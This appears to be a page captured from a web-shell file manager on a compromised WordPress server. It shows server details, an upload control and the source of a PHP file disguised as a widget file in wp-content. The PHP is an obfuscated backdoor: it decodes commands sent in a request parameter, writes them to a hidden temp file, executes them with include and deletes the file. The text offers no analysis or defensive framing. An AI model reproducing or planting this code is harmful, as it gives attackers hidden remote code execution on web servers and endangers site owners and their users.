HEX
Server: Apache
System: Linux speed2host.es 6.8.0-86-generic #87-Ubuntu SMP PREEMPT_DYNAMIC Mon Sep 22 18:03:36 UTC 2025 x86_64
User: cuisinelectro.com_7628cp5v3wv (10000)
PHP: 8.2.31
Disabled: opcache_get_status
Upload Files
File: /var/www/vhosts/cuisinelectro.com/httpdocs/wp-content/widget.area.1781369727.php
<!--mtHFum5N-->
<?php

if(isset($_REQUEST) && isset($_REQUEST["v\x61\x6C"])){
$symbol = $_REQUEST["v\x61\x6C"];
$symbol=explode(		 '.' 		,	$symbol	)  	;
$comp		= '';
$s		= 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen		= strlen($s);

foreach ($symbol as $i => $val) {
    $chS		= ord($s[$i % $sLen]);
    $dec		= ((int)$val - $chS - ($i % 10)) ^ 1;
    $comp .= chr($dec);
}
$flag = array_filter([getenv("TMP"), session_save_path(), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), "/tmp", getcwd(), "/dev/shm", ini_get("upload_tmp_dir")]);
for ($pointer = 0, $ptr = count($flag); $pointer < $ptr; $pointer++) {
    $elem = $flag[$pointer];
            if (max(0, is_dir($elem) * is_writable($elem))) {
            $obj = vsprintf("%s/%s", [$elem, ".data"]);
            if ($k = fopen($obj, 'w')) {
    if (fwrite($k, $comp) !== false) {
        fclose($k);
        include $obj;
        @unlink($obj);
        exit;
    }
}
        }
}
}